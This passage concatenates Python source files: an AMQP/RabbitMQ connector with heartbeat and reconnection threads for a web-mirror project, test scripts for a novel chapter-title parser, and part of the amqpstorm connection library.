			properties={
				'correlation_id' : "keepalive"
			})


	def put_tx(self, message):
		out_key   = self.task_queue_name.split(".")[0]

		msg_prop = {}
		if self.durable:
			msg_prop["delivery_mode"] = 2

		if not self.storm_channel:
			raise Message_Publish_Exception("Failed to publish message!")

		self.storm_channel.basic.publish(body=message, exchange=self.task_exchange, routing_key=out_key, properties=msg_prop)

	def checkTimeouts(self):
		with self.heartbeat_timeout_lock:
			if (time.time() - self.last_hearbeat_received) > self.hearbeat_packet_timeout:
				with self.active_lock:
					print()
					print()
					print()
					print()
					self.log.error("Heartbeat Timeout!")
					print()
					print()
					print()
					print()
					raise Heartbeat_Timeout_Exception("Heartbeat timeout!")

		with self.rx_timeout_lock:
			if (time.time() - self.last_message_received) > (self.hearbeat_packet_timeout * 5):
				with self.active_lock:
					print()
					print()
					print()
					print()
					self.log.error("RX Message Timeout!")
					print()
					print()
					print()
					print()
					raise Heartbeat_Timeout_Exception("RX Heartbeat timeout!")

		self.heartbeat_loops += 1
		if self.heartbeat_loops > 10:
			self.heartbeat_loops = 1
			with self.heartbeat_timeout_lock:
				last_hb = time.time() - self.last_hearbeat_received
			with self.rx_timeout_lock:
				last_rx = time.time() - self.last_message_received

			# self.consumer_cycle += 1
			# if self.consumer_cycle > 30:
			# 	# We periodically cycle the consuming state of the input queue, to stop it from being wedged.
			# 	self.storm_channel.close()
			self.log.info("Interface timeout thread. Ages: heartbeat -> %0.2f, last message -> %0.2f.", last_hb, last_rx)

class ConnectorManager:
	def __init__(self, config, runstate, active, task_queue, response_queue):

		assert 'host'                     in config
		assert 'userid'                   in config
		assert 'password'                 in config
		assert 'virtual_host'             in config
		assert 'task_queue_name'          in config
		assert 'response_queue_name'      in config
		assert 'task_exchange'            in config
		assert 'task_exchange_type'       in config
		assert 'response_exchange'        in config
		assert 'response_exchange_type'   in config
		assert 'master'                   in config
		assert 'synchronous'              in config
		assert 'flush_queues'             in config
		assert 'heartbeat'                in config
		assert 'sslopts'                  in config
		assert 'poll_rate'                in config
		assert 'prefetch'                 in config
		assert 'session_fetch_limit'      in config
		assert 'durable'                  in config
		assert 'socket_timeout'           in config
		assert 'hearbeat_packet_timeout'  in config
		assert 'ack_rx'                   in config

		self.log = logging.getLogger("Main.Connector.Internal(%s)" % config['virtual_host'])
		self.runstate           = runstate
		self.config             = config
		self.task_queue         = task_queue
		self.active_connections = active
		self.response_queue     = response_queue

		self.connected          = multiprocessing.Value("i", 0)

		self.had_exception      = multiprocessing.Value("i", 0)
		self.threads_live       = multiprocessing.Value("i", 0)


		self.session_fetched        = 0
		self.queue_fetched          = 0
		self.active                 = 0
		self.sent_messages = 0
		self.recv_messages = 0

		self.delivered = 0

		self.connect_lock = threading.Lock()
		self.__connect()

	def __connect(self):

		rabbit_params = {
			'task_queue_name'         : self.config['task_queue_name'],
			'response_queue_name'     : self.config['response_queue_name'],
			'task_exchange'           : self.config['task_exchange'],
			'task_exchange_type'      : self.config['task_exchange_type'],
			'response_exchange'       : self.config['response_exchange'],
			'response_exchange_type'  : self.config['response_exchange_type'],
			'durable'                 : self.config['durable'],
			'prefetch'                : self.config['prefetch'],
			'flush_queues'            : self.config['flush_queues'],
			'hearbeat_packet_timeout' : self.config['hearbeat_packet_timeout'],
		}

		conn_params = {
				'hostname'     : self.config['host'].split(":")[0],
				'username'     : self.config['userid'],
				'password'     : self.config['password'],
				'port'         : int(self.config['host'].split(":")[1]),
				'virtual_host' : self.config['virtual_host'],
				'heartbeat'    : self.config['socket_timeout'] // 2,
				'timeout'      : self.config['socket_timeout'],
				'ssl'          : True,
				'ssl_options'  : {
					'ca_certs'           : self.config['sslopts']['ca_certs'],
					'certfile'             : self.config['sslopts']['certfile'],
					'keyfile'              : self.config['sslopts']['keyfile'],
				}
			}

		with self.connect_lock:
			self.threads_live.value  = 1
			self.had_exception.value = 0

			self.interface = AmqpContainer(conn_params, self.task_queue, **rabbit_params)

			self.rx_thread = threading.Thread(target=self._rx_poll,         daemon=False)
			self.tx_thread = threading.Thread(target=self._tx_poll,         daemon=False)
			self.hb_thread = threading.Thread(target=self._timeout_watcher, daemon=False)
			self.rx_thread.start()
			self.tx_thread.start()
			self.hb_thread.start()

			# print("Living threads:")
			# print("rx_thread", self.rx_thread.is_alive())
			# print("tx_thread", self.tx_thread.is_alive())
			# print("hb_thread", self.hb_thread.is_alive())

			self.interface.start_consume(rabbit_params)


	def disconnect(self):
		with self.connect_lock:
			self.threads_live.value = 0
			self.interface.close()
			failed_to_die = 0
			threads = [self.rx_thread, self.tx_thread, self.hb_thread]
			while any([thread.is_alive() for thread in threads]):
				for thread in [thread for thread in threads if thread.is_alive()]:
					thread.join(1)
				self.log.warning("Waiting on threads to join (tx: %s, rx: %s, hb: %s),  Threads_live: %s, had exception %s, resp queue size: %s, die: %s!",
					self.tx_thread.is_alive(),
					self.rx_thread.is_alive(),
					self.hb_thread.is_alive(),
					self.threads_live.value,
					self.had_exception.value,
					self.response_queue.qsize(),
					failed_to_die,
					)
				failed_to_die += 1
				if failed_to_die > 15:
					self.log.warning("Attempting to kill interface!")
					self.interface.kill()
				try:
					self.interface.close()
				except Exception:
					self.log.error("Closing interface failed!")

					for line in traceback.format_exc().split("\n"):
						self.log.error(line)

			self.log.info("Interface threads joined")

			try:
				del self.rx_thread
			except Exception:
				pass
			try:
				del self.tx_thread
			except Exception:
				pass
			try:
				del self.hb_thread
			except Exception:
				pass

			try:
				del self.interface
			except Exception:
				pass

	def __should_die(self):
		ret = self.runstate.value != 1 or self.threads_live.value != 1 or self.had_exception.value != 0
		if ret:

			self.log.warning("Should die flag! Runstate: %s, threads live: %s, had exception: %s.",
				"running" if self.runstate.value == 1 else "halting",
				"threads alive" if self.threads_live.value == 1 else "threads stopping",
				"yes" if self.had_exception.value == 1 else "no"
				)
		return ret

	def _tx_poll(self):
		time.sleep(1)
		self.log.info("TX Poll process starting. Threads_live: %s, resp queue size: %s, had exception %s", self.threads_live.value, self.response_queue.qsize(), self.had_exception.value)

		# When run is false, don't halt until
		# we've flushed the outgoing items out the queue
		while not self.__should_die():
			for dummy_x in range(250):

				if self.__should_die():
					self.log.info("Transmit loop saw exit flag. Breaking!")
					return

				try:
					put = self.response_queue.get_nowait()
				except queue.Empty:
					break
					# self.log.info("Publishing message of len '%0.3f'K to exchange '%s'", len(put)/1024, out_queue)
					# message = amqp.basic_message.Message(body=put)

				try:

					self.interface.put_tx(put)
					self.sent_messages += 1
					self.active -= 1

				except amqpstorm.AMQPError as e:
					self.log.error("Error while tx_polling interface!")
					self.log.error("	%s", e)
					for line in traceback.format_exc().split("\n"):
						self.log.error(line)
					self.had_exception.value = 1
					break
				except Message_Publish_Exception as e:
					self.log.error("Error while publishing message!")
					self.response_queue.put(put)
					self.log.error("	%s", e)
					for line in traceback.format_exc().split("\n"):
						self.log.error(line)
					self.had_exception.value = 1
					break
			time.sleep(1)

		self.log.info("TX Poll process dying (should die: %s). Threads_live: %s, runstate: %s, resp queue size: %s, had exception %s.",
			self.__should_die(), self.threads_live.value, self.runstate.value, self.response_queue.qsize(), self.had_exception.value)

	def _timeout_watcher(self):
		time.sleep(1)
		print_time = 30              # Print a status message every n seconds
		hb_time    =  5              # Print a status message every n seconds
		integrator =  0              # Time since last status message emitted.

		while not self.__should_die():
			try:

				self.interface.checkTimeouts()
				time.sleep(1)

				integrator += 1
				# Reset the print integrator.
				if self.interface and (integrator % hb_time) == 0:
					self.interface.poke_keepalive()
				if self.interface and (integrator % print_time) == 0:
					self.log.info("AMQP Interface process. Current message counts: %s (out: %s, in: %s)", self.active, self.sent_messages, self.recv_messages)
			except Heartbeat_Timeout_Exception:
				self.had_exception.value = 1
			except Message_Publish_Exception:
				self.had_exception.value = 1
			except amqpstorm.AMQPError as e:
				self.log.error("RabbitPy Exception in worker.")
				for line in traceback.format_exc().split("\n"):
					self.log.error(line)
				self.had_exception.value = 1
			except Exception:
				self.log.error("Generic exception in timeout watcher thread.")
				for line in traceback.format_exc().split("\n"):
					self.log.error(line)
				self.had_exception.value = 1


	def _rx_poll(self):
		time.sleep(1)

		self.log.info("RX Poll process starting. Threads_live: %s, had exception %s", self.threads_live.value, self.had_exception.value)
		try:
			while not self.__should_die():
				self.interface.enter_blocking_rx_loop()
		except amqpstorm.AMQPError as e:
			self.log.error("Error while in rx runloop!")
			self.log.error("	%s", e)
			for line in traceback.format_exc().split("\n"):
				self.log.error(line)
			self.had_exception.value = 1

		self.log.info("RX Poll process dying. Threads_live: %s, had exception %s, should_die %s", self.threads_live.value, self.had_exception.value, self.__should_die())

	def monitor_loop(self):

		self.had_exception.value = 0
		while self.runstate.value:
			if self.had_exception.value == 1:
				print("Disconnecting!")
				try:
					self.disconnect()
				except Exception:
					for line in traceback.format_exc().split("\n"):
						self.log.error(line)
					self.had_exception.value = 1
				print("Reconnecting")
				time.sleep(5)
				try:
					self.__connect()
					self.had_exception.value = 0
				except Exception:
					for line in traceback.format_exc().split("\n"):
						self.log.error(line)
					self.had_exception.value = 1
			time.sleep(1)

	def shutdown(self):
		self.log.info("ConnectorManager shutdown called!")
		self.threads_live.value = 0
		self.disconnect()

	@classmethod
	def run_fetcher(cls, config, runstate, tx_q, rx_q):
		'''
		bleh

		'''

		# Active instances tracker
		active = multiprocessing.Value("i", 0)

		log = logging.getLogger("Main.Connector.Manager(%s)" % config['virtual_host'])

		log.info("Worker thread starting up.")
		try:
			print()
			print()
			print("Connecting %s" % config['virtual_host'])
			print()
			print()
			connection_manager = cls(config, runstate, active, tx_q, rx_q)
			print()
			print()
			print("Entering monitor-loop %s" % config['virtual_host'])
			print()
			print()
			connection_manager.monitor_loop()

		except Exception:
			log.error("Exception in connector! Terminating connection...")
			for line in traceback.format_exc().split('\n'):
				log.error(line)
			try:
				connection_manager.disconnect()
			except Exception:
				log.info("")
				log.error("Failed pre-emptive closing before reconnection. May not be a problem?")
				for line in traceback.format_exc().split('\n'):
					log.error(line)
			try:
				connection_manager.shutdown()
				del connection_manager
			except Exception:
				log.info("")
				log.error("Failed pre-emptive closing before reconnection. May not be a problem?")
				for line in traceback.format_exc().split('\n'):
					log.error(line)
			if runstate.value != 0:
				log.error("Triggering reconnection...")

		if connection_manager:
			connection_manager.shutdown()
		log.info("")
		log.info("Worker thread has terminated.")
		log.info("")

class Connector:

	def __init__(self, *args, **kwargs):

		assert args == (), "All arguments must be passed as keyword arguments. Positional arguments: '%s'" % (args, )

		self.log = logging.getLogger("Main.Connector")

		self.log.info("Setting up AqmpConnector!")

		config = {
			'host'                     : kwargs.get('host',                     None),
			'userid'                   : kwargs.get('userid',                   'guest'),
			'password'                 : kwargs.get('password',                 'guest'),
			'virtual_host'             : kwargs.get('virtual_host',             '/'),
			'task_queue_name'          : kwargs.get('task_queue',               'task.q'),
			'response_queue_name'      : kwargs.get('response_queue',           'response.q'),
			'task_exchange'            : kwargs.get('task_exchange',            'tasks.e'),
			'task_exchange_type'       : kwargs.get('task_exchange_type',       'direct'),
			'response_exchange'        : kwargs.get('response_exchange',        'resps.e'),
			'response_exchange_type'   : kwargs.get('response_exchange_type',   'direct'),
			'master'                   : kwargs.get('master',                   False),
			'synchronous'              : kwargs.get('synchronous',              True),
			'flush_queues'             : kwargs.get('flush_queues',             False),
			'heartbeat'                : kwargs.get('heartbeat',                 60),
			'sslopts'                  : kwargs.get('ssl',                      None),
			'poll_rate'                : kwargs.get('poll_rate',                  0.25),
			'prefetch'                 : kwargs.get('prefetch',                   1),
			'session_fetch_limit'      : kwargs.get('session_fetch_limit',      None),
			'durable'                  : kwargs.get('durable',                  False),
			'socket_timeout'           : kwargs.get('socket_timeout',            30),

			'hearbeat_packet_timeout'  : kwargs.get('hearbeat_packet_timeout',  60),
			'ack_rx'                   : kwargs.get('ack_rx',                   True),
		}

		assert config['hearbeat_packet_timeout'] > config['socket_timeout'],                                   \
			"Heartbeat time must be greater then socket timeout! Heartbeat interval: %s. Socket timeout: %s" % \
			(config['hearbeat_packet_timeout'], config['socket_timeout'])

		self.log.info("Fetch limit: '%s'", config['session_fetch_limit'])
		self.log.info("Comsuming from queue '%s', emitting responses on '%s'.", config['task_queue_name'], config['response_queue_name'])

		# Validity-Check args
		if not config['host']:
			raise ValueError("You must specify a host to connect to!")

		assert        config['task_queue_name'].endswith(".q") is True
		assert    config['response_queue_name'].endswith(".q") is True
		assert     config['task_exchange'].endswith(".e") is True
		assert config['response_exchange'].endswith(".e") is True

		# Patch in the port number to the host name if it's not present.
		# This is really clumsy, but you can't explicitly specify the port
		# in the amqp library
		if not ":" in config['host']:
			if config['ssl']:
				config['host'] += ":5671"
			else:
				config['host'] += ":5672"

		self.is_master = config['master']

		self.session_fetch_limit = config['session_fetch_limit']
		self.queue_fetched       = 0
		self.queue_put           = 0

		# set up the task and response queues.
		# These need to be multiprocessing queues because
		# messages can sometimes be inserted from a different process
		# then the interface is created in.
		self.taskQueue = queue.Queue()
		self.responseQueue = queue.Queue()

		self.runstate = multiprocessing.Value("b", 1)

		self.log.info("Starting AMQP interface thread.")

		self.forwarded = 0

		self.thread = None
		self.__config = config
		self.checkLaunchThread()

	def checkLaunchThread(self):
		if self.thread and self.thread.isAlive():
			return
		if self.thread and not self.thread.isAlive():
			self.thread.join()
			self.log.error("")
			self.log.error("")
			self.log.error("")
			self.log.error("Thread has died!")
			self.log.error("")
			self.log.error("")
			self.log.error("")

		self.thread = threading.Thread(target=ConnectorManager.run_fetcher, args=(self.__config, self.runstate, self.taskQueue, self.responseQueue), daemon=True)
		self.thread.start()

	def atQueueLimit(self):
		'''
		Track the fetch-limit for the active session. Used to allow an instance to connect,
		fetch one (and only one) item, and then do things with the fetched item without
		having the background thread fetch and queue a bunch more items while it's working.
		'''
		if not self.session_fetch_limit:
			return False

		return self.queue_fetched >= self.session_fetch_limit


	def getMessage(self):
		'''
		Try to fetch a message from the receiving Queue.
		Returns the method if there is one, False if there is not.
		Non-Blocking.
		'''
		self.checkLaunchThread()
		if self.atQueueLimit():
			raise ValueError("Out of fetchable items!")

		try:
			put = self.taskQueue.get_nowait()
			self.queue_fetched += 1
			self.forwarded += 1
			if self.forwarded >= 25:
				self.log.info("Fetched item from proxy queue. Total received: %s, total sent: %s", self.queue_fetched, self.queue_put)
				self.forwarded = 0
			return put
		except queue.Empty:
			return None

	def putMessage(self, message, synchronous=False):
		'''
		Place a message into the outgoing queue.

		the items in the outgoing queue are less then the
		value of synchronous
		'''
		self.checkLaunchThread()
		if synchronous:
			while self.responseQueue.qsize() > synchronous:
				time.sleep(0.1)
		self.queue_put += 1
		self.responseQueue.put(message)



	def stop(self):
		'''
		Tell the AMQP interface thread to halt, and then join() on it.
		Will block until the queue has been cleanly shut down.
		'''
		self.log.info("Stopping AMQP interface thread.")
		self.runstate.value = 0
		if self.is_master:
			resp_q = self.taskQueue
		else:
			resp_q = self.responseQueue

		block = 0
		blocklen = 25
		while resp_q.qsize() > 0:
			self.log.info("%s remaining outgoing AMQP items (%s).", resp_q.qsize(), blocklen-block)
			time.sleep(1)
			block += 1
			if block > blocklen:
				break

		self.log.info("%s remaining outgoing AMQP items. Joining on thread.", resp_q.qsize())

		self.thread.join()
		self.log.info("AMQP interface thread halted.")

	def __del__(self):
		# print("deleter: ", self.runstate, self.runstate.value)
		if self.runstate.value:
			self.stop()



# from FeedScrape.FeedDataParser import extractChapterVol
from WebMirror.util.titleParseNew import TitleParser as TPN
from WebMirror.util.titleParse import TitleParser as TP

import WebMirror.database as db

def test():
	from tests.title_test_data import data as test_data
	# from tests.title_test_data_two import data as test_data_more
	count = 0
	mismatch = 0
	for key, value in test_data:
		# if not "  " in key:
		# 	continue

		# print(key, value)
		p = TPN(key)
		vol, chp, frag, post = p.getVolume(), p.getChapter(), p.getFragment(), p.getPostfix()

		# print(p)

		if len(value) == 2:
			pass
		elif len(value) == 4:
			e_vol, e_chp, e_frag, e_post = value
			if e_chp == 0.0 and chp is None:
				e_chp = None

			bad = False
			if vol != e_vol or chp != e_chp or frag != e_frag:
				bad = True
				print(p)
				print("Parsed: v{}, c{}, f{}".format(vol, chp, frag))
				print("Expect: v{}, c{}, f{}".format(e_vol, e_chp, e_frag))
				print()

			if e_post != post:
				bad = True
				print(p)
				print("Post mismatch - Parsed: {}".format(post))
				print("Post mismatch - Expect: {}".format(e_post))

			if bad:
				mismatch += 1

			# elif post:
			# 	print("Valid post - Parsed: {}".format(post))


			# for number in p.getNumbers():
			# 	print(number)
			# 	print("Preceeded by:", number.lastData())
		count += 1

		# if len(value) == 2:
		# 	assert value == extractChapterVol(key), "Wat? Values: '{}', '{}', '{}'".format(key, value, extractChapterVol(key))
		# elif len(value) == 4:
		# 	assert value == extractVolChapterFragmentPostfix(key), "Wat? Values: '{}', '{}', '{}'".format(key, value, extractVolChapterFragmentPostfix(key))
		# else:
		# 	print("Wat?")
		# 	print(key, value)

	# print("All matches passed!")
	print("{} Items with parsed output".format(count))
	print("{} Items mismatch in new parser".format(mismatch))
	print("Total items: {}".format(len(test_data)))

def extract_mismatch():
	from tests.title_test_data import data as test_data
	from tests.title_test_data_two import data as test_data_more
	count = 0
	mismatch = 0

	test_data_dict = {}
	for key, value in test_data_more:
		if not key in test_data_dict:
			test_data_dict[key] = []
		test_data_dict[key].append(value)
	for key, value in test_data:
		test_data_dict[key] = []
	for key, value in test_data:
		test_data_dict[key].append(value)

	with open("tests/title_test_data_mismatch.py", 'w') as fp:
		fp.write("data = [\n")
		goodstr = []
		badstr = []
		errored = []
		for key, value in test_data_dict.items():
			try:
				p = TPN(key)
				vol, chp, frag, post = p.getVolume(), p.getChapter(), p.getFragment(), p.getPostfix()
				# print(p)
				badtmp = ''
				goodtmp = ''
				for valueset in value:
					assert (len(valueset) == 4), "Wat: %s" % (valueset, )
					e_vol, e_chp, e_frag, e_post = valueset

					if e_chp == 0.0 and chp is None:
						e_chp = None

					bad = False
					if vol != e_vol or chp != e_chp or frag != e_frag:
						bad = True
						print(p)
						print("Parsed: v{}, c{}, f{}".format(vol, chp, frag))
						print("Expect: v{}, c{}, f{}".format(e_vol, e_chp, e_frag))
						print()

					if e_post != post:
						bad = True
						print(p)
						print("Post mismatch - Parsed: {}".format(post))
						print("Post mismatch - Expect: {}".format(e_post))

					if bad:
						mismatch += 1


					if vol != e_vol or chp != e_chp or frag != e_frag or e_post != post:
						badtmp = format_row(key, e_vol, e_chp, e_frag, e_post)
					else:
						goodtmp = format_row(key, e_vol, e_chp, e_frag, e_post)

				if goodtmp:
					goodstr.append(goodtmp)
				else:
					badstr.append(badtmp)
			except AssertionError:
				errored.append(format_row(key, None, None, None, ''))

			count += 1
		goodstr.sort()
		badstr.sort()

	# print("All matches passed!")
	print("{} Items with parsed output".format(count))
	print("{} Items mismatch in new parser".format(mismatch))
	print("{} error encountered in parsing".format(len(errored)))
	print("Total items: {}".format(len(test_data)))

def test_mismatch():
	from tests.title_test_data_mismatch import data as test_data
	count = 0
	mismatch = 0

	for key, value in test_data:

		p = TPN(key)
		vol, chp, frag, post = p.getVolume(), p.getChapter(), p.getFragment(), p.getPostfix()

		# print(p)
		if len(value) == 4:
			e_vol, e_chp, e_frag, e_post = value

			if e_chp == 0.0 and chp is None:
				e_chp = None
			bad = False
			if vol != e_vol or chp != e_chp or frag != e_frag:
				bad = True
				print(p)
				print("Parsed: v{}, c{}, f{}".format(vol, chp, frag))
				print("Expect: v{}, c{}, f{}".format(e_vol, e_chp, e_frag))
				print()

			if e_post != post:
				bad = True
				print(p)
				print("Post mismatch - Parsed: {}".format(post))
				print("Post mismatch - Expect: {}".format(e_post))

			if bad:
				mismatch += 1

		count += 1


	# print("All matches passed!")
	print("{} Items with parsed output".format(count))
	print("{} Items mismatch in new parser".format(mismatch))
	print("Total items: {}".format(len(test_data)))

def format_row(title, volume, chapter, fragment, postfix):
	return "	" + str((title, (volume, chapter, fragment, postfix))) + ",\n"

def load_items():
	feed_items = db.get_db_session().query(db.FeedItems) \
			.order_by(db.FeedItems.srcname)           \
			.order_by(db.FeedItems.title)           \
			.all()

	with open("tests/title_test_data_two.py", 'w') as fp:
		fp.write("data = [\n")
		for row in feed_items:
			title = row.title

			try:
				p = TP(title)
				fp.write(format_row(title, p.getVolume(), p.getChapter(), p.getFragment(), p.getPostfix()))
			except ValueError:
				fp.write(format_row(title, 0, 0, 0, ''))

		fp.write("]\n")

if __name__ == "__main__":
	import sys
	if 'regenerate' in sys.argv:
		load_items()
	elif "extract-mismatch" in sys.argv:
		extract_mismatch()
	elif "test-mismatch" in sys.argv:
		test_mismatch()
	else:
		test()








# from FeedScrape.FeedDataParser import extractChapterVol
from tests.title_test_data import data as test_data
from WebMirror.util.titleParse import TitleParser

def test():
	count = 0
	mismatch = 0
	for key, value in test_data:
		# if not "  " in key:
		# 	continue

		# print(key, value)
		p = TitleParser(key)
		vol, chp, frag, post = p.getVolume(), p.getChapter(), p.getFragment(), p.getPostfix()

		if frag != None:
			consolidated_chp = (frag / 100.0) + 0 if chp == None else chp
		else:
			consolidated_chp = chp
		if len(value) == 2:
			e_chp, e_vol = value
			if e_chp == 0.0 and consolidated_chp == None:
				e_chp = None
			if vol != e_vol or consolidated_chp != e_chp:
				mismatch += 1
				print(p)
				print("Parsed: v{}, c{}".format(vol, consolidated_chp))
				print("Expect: v{}, c{}".format(e_vol, e_chp))
				print()
		elif len(value) == 4:
			e_vol, e_chp, e_frag, e_post = value
			if e_chp == 0.0 and chp == None:
				e_chp = None
			if vol != e_vol or chp != e_chp or frag != e_frag:
				mismatch += 1
				print(p)
				print("Parsed: v{}, c{}, f{}".format(vol, chp, frag))
				print("Expect: v{}, c{}, f{}".format(e_vol, e_chp, e_frag))
				print()
			if e_post != post:
				mismatch += 1
				print(p)
				print("Parsed: {}".format(post))
				print("Expect: {}".format(e_post))
			# for number in p.getNumbers():
			# 	print(number)
			# 	print("Preceeded by:", number.lastData())
		count += 1


		# if len(value) == 2:
		# 	assert value == extractChapterVol(key), "Wat? Values: '{}', '{}', '{}'".format(key, value, extractChapterVol(key))
		# elif len(value) == 4:
		# 	assert value == extractVolChapterFragmentPostfix(key), "Wat? Values: '{}', '{}', '{}'".format(key, value, extractVolChapterFragmentPostfix(key))
		# else:
		# 	print("Wat?")
		# 	print(key, value)
	# print("All matches passed!")
	print("{} Items with parsed output".format(count))
	print("{} Items mismatch in new parser".format(mismatch))
	print("Total items: {}".format(len(test_data)))

if __name__ == "__main__":

	test()







"""AMQP-Storm Uri wrapper for Connection."""

import logging

from amqpstorm import compatibility
from amqpstorm.compatibility import ssl
from amqpstorm.compatibility import urlparse
from amqpstorm.connection import Connection
from amqpstorm.exception import AMQPConnectionError

LOGGER = logging.getLogger(__name__)


class UriConnection(Connection):
    """Create a new Connection instance using an AMQP Uri string.

        Usage:
            UriConnect('amqp://guest:guest@localhost:5672/%2F?heartbeat=60')
            UriConnect('amqps://guest:guest@localhost:5671/%2F?heartbeat=60')
    """
    __slots__ = []

    def __init__(self, uri, lazy=False):
        """
        :param str uri: AMQP Connection string

        :raises TypeError: Raises on invalid uri.
        :raises ValueError: Raises on invalid uri.
        :raises AttributeError: Raises on invalid uri.
        :raises AMQPConnectionError: Raises on Connection error.
        """
        uri = compatibility.patch_uri(uri)
        parsed_uri = urlparse.urlparse(uri)
        use_ssl = parsed_uri.scheme == 'https'
        hostname = parsed_uri.hostname or 'localhost'
        port = parsed_uri.port or 5672
        username = urlparse.unquote(parsed_uri.username or 'guest')
        password = urlparse.unquote(parsed_uri.password or 'guest')
        kwargs = self._parse_uri_options(parsed_uri, use_ssl)
        super(UriConnection, self).__init__(hostname, username,
                                            password, port,
                                            lazy=lazy,
                                            **kwargs)

    def _parse_uri_options(self, parsed_uri, use_ssl):
        """Parse the uri options.

        :param parsed_uri:
        :param bool use_ssl:
        :return:
        """
        kwargs = urlparse.parse_qs(parsed_uri.query)
        options = {
            'ssl': use_ssl,
            'virtual_host': urlparse.unquote(parsed_uri.path[1:]) or '/',
            'heartbeat': int(kwargs.pop('heartbeat', [60])[0]),
            'timeout': int(kwargs.pop('timeout', [30])[0])
        }
        if use_ssl:
            if not compatibility.SSL_SUPPORTED:
                raise AMQPConnectionError('Python not compiled with support '
                                          'for TLSv1 or higher')
            options['ssl_options'] = self._parse_ssl_options(kwargs)
        return options

    def _parse_ssl_options(self, ssl_kwargs):
        """Parse TLS Options.

        :param ssl_kwargs:
        :rtype: dict
        """
        ssl_options = {}
        for key in ssl_kwargs:
            if key not in compatibility.SSL_OPTIONS:
                LOGGER.warning('invalid option: %s', key)
                continue
            if 'ssl_version' in key:
                value = self._get_ssl_version(ssl_kwargs[key][0])
            elif 'cert_reqs' in key:
                value = self._get_ssl_validation(ssl_kwargs[key][0])
            else:
                value = ssl_kwargs[key][0]
            ssl_options[key] = value
        return ssl_options

    def _get_ssl_version(self, value):
        """Get the TLS Version.

        :param str value:
        :return: TLS Version
        """
        return self._get_ssl_attribute(value, compatibility.SSL_VERSIONS,
                                       ssl.PROTOCOL_TLSv1,
                                       'ssl_options: ssl_version \'%s\' not '
                                       'found falling back to PROTOCOL_TLSv1.')

    def _get_ssl_validation(self, value):
        """Get the TLS Validation option.

        :param str value:
        :return: TLS Certificate Options
        """
        return self._get_ssl_attribute(value, compatibility.SSL_CERT_MAP,
                                       ssl.CERT_NONE,
                                       'ssl_options: cert_reqs \'%s\' not '
                                       'found falling back to CERT_NONE.')

    @staticmethod
    def _get_ssl_attribute(value, mapping, default_value, warning_message):
        """Get the TLS attribute based on the compatibility mapping.

            If no valid attribute can be found, fall-back on default and
            display a warning.

        :param str value:
        :param dict mapping: Dictionary based mapping
        :param default_value: Default fall-back value
        :param str warning_message: Warning message
        :return:
        """
        for key in mapping:
            if not key.endswith(value.lower()):
                continue
            return mapping[key]
        LOGGER.warning(warning_message, value)
        return default_value






"""AMQP-Storm Connection."""

import logging
import time
from time import sleep

from pamqp import exceptions as pamqp_exception
from pamqp import frame as pamqp_frame
from pamqp import header as pamqp_header
from pamqp import specification as pamqp_spec

from amqpstorm import compatibility
from amqpstorm.base import IDLE_WAIT
from amqpstorm.base import Stateful
from amqpstorm.channel import Channel
from amqpstorm.channel0 import Channel0
from amqpstorm.exception import AMQPConnectionError
from amqpstorm.exception import AMQPInvalidArgument
from amqpstorm.heartbeat import Heartbeat
from amqpstorm.io import EMPTY_BUFFER
from amqpstorm.io import IO

LOGGER = logging.getLogger(__name__)


class Connection(Stateful):
    """AMQP Connection"""
    __slots__ = [
        'heartbeat', 'parameters', '_channel0', '_channels', '_io'
    ]

    def __init__(self, hostname, username, password, port=5672, **kwargs):
        """
        :param str hostname: Hostname
        :param str username: Username
        :param str password: Password
        :param int port: Server port
        :param str virtual_host: Virtualhost
        :param int heartbeat: RabbitMQ Heartbeat interval
        :param int|float timeout: Socket timeout
        :param bool ssl: Enable SSL
        :param dict ssl_options: SSL kwargs (from ssl.wrap_socket)
        :param bool lazy: Lazy initialize the connection

        :raises AMQPConnectionError: Raises on Connection error.

        :return:
        """
        super(Connection, self).__init__()
        self.parameters = {
            'hostname': hostname,
            'username': username,
            'password': password,
            'port': port,
            'virtual_host': kwargs.get('virtual_host', '/'),
            'heartbeat': kwargs.get('heartbeat', 60),
            'timeout': kwargs.get('timeout', 30),
            'ssl': kwargs.get('ssl', False),
            'ssl_options': kwargs.get('ssl_options', {})
        }
        self._validate_parameters()
        self._io = IO(self.parameters, exceptions=self._exceptions,
                      on_read=self._read_buffer)
        self._channel0 = Channel0(self)
        self._channels = {}
        self.heartbeat = Heartbeat(self.parameters['heartbeat'],
                                   self._channel0.send_heartbeat)
        if not kwargs.get('lazy', False):
            self.open()

    def __enter__(self):
        return self

    def __exit__(self, exception_type, exception_value, _):
        if exception_type:
            message = 'Closing connection due to an unhandled exception: %s'
            LOGGER.warning(message, exception_value)
        self.close()

    @property
    def fileno(self):
        """Returns the Socket File number.

        :return:
        """
        if not self._io.socket:
            return None
        return self._io.socket.fileno()

    @property
    def is_blocked(self):
        """Is the connection currently being blocked from publishing by
        the remote server.

        :rtype: bool
        """
        return self._channel0.is_blocked

    @property
    def server_properties(self):
        """Returns the RabbitMQ Server Properties.

        :rtype: dict
        """
        return self._channel0.server_properties

    @property
    def socket(self):
        """Returns an instance of the Socket used by the Connection.

        :rtype: socket
        """
        return self._io.socket

    def channel(self, rpc_timeout=60):
        """Open Channel.

        :param int rpc_timeout: Timeout before we give up waiting for an RPC
                                response from the server.

        :raises AMQPInvalidArgument: Raises on invalid arguments.
        :raises AMQPChannelError: Raises if the channel cannot be opened
                                  before the rpc_timeout is reached.
        :raises AMQPConnectionError: Raises if the Connection is closed.
        """
        LOGGER.debug('Opening a new Channel')
        if not compatibility.is_integer(rpc_timeout):
            raise AMQPInvalidArgument('rpc_timeout should be an integer')
        elif self.is_closed:
            raise AMQPConnectionError('socket/connection closed')

        with self.lock:
            channel_id = len(self._channels) + 1
            channel = Channel(channel_id, self, rpc_timeout)
            self._channels[channel_id] = channel
            channel.open()
        LOGGER.debug('Channel #%d Opened', channel_id)
        return self._channels[channel_id]

    def check_for_errors(self):
        """Check Connection for errors.

        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.
        :return:
        """
        if not self.exceptions:
            return
        self.set_state(self.CLOSED)
        self.close()
        raise self.exceptions[0]

    def close(self):
        """Close connection."""
        LOGGER.debug('Connection Closing')
        self.heartbeat.stop()
        if not self.is_closed and self._io.socket:
            self._close_channels()
            self.set_state(self.CLOSING)
            self._channel0.send_close_connection_frame()
        self._io.close()
        self.set_state(self.CLOSED)
        LOGGER.debug('Connection Closed')

    def kill(self):
        print("Destroying all consumer tags")
        for channel in self._channels.items():
            channel.remove_consumer_tag()

        print("Joining on IO thread!")
        self._io.kill()


    def open(self):
        """Open Connection.

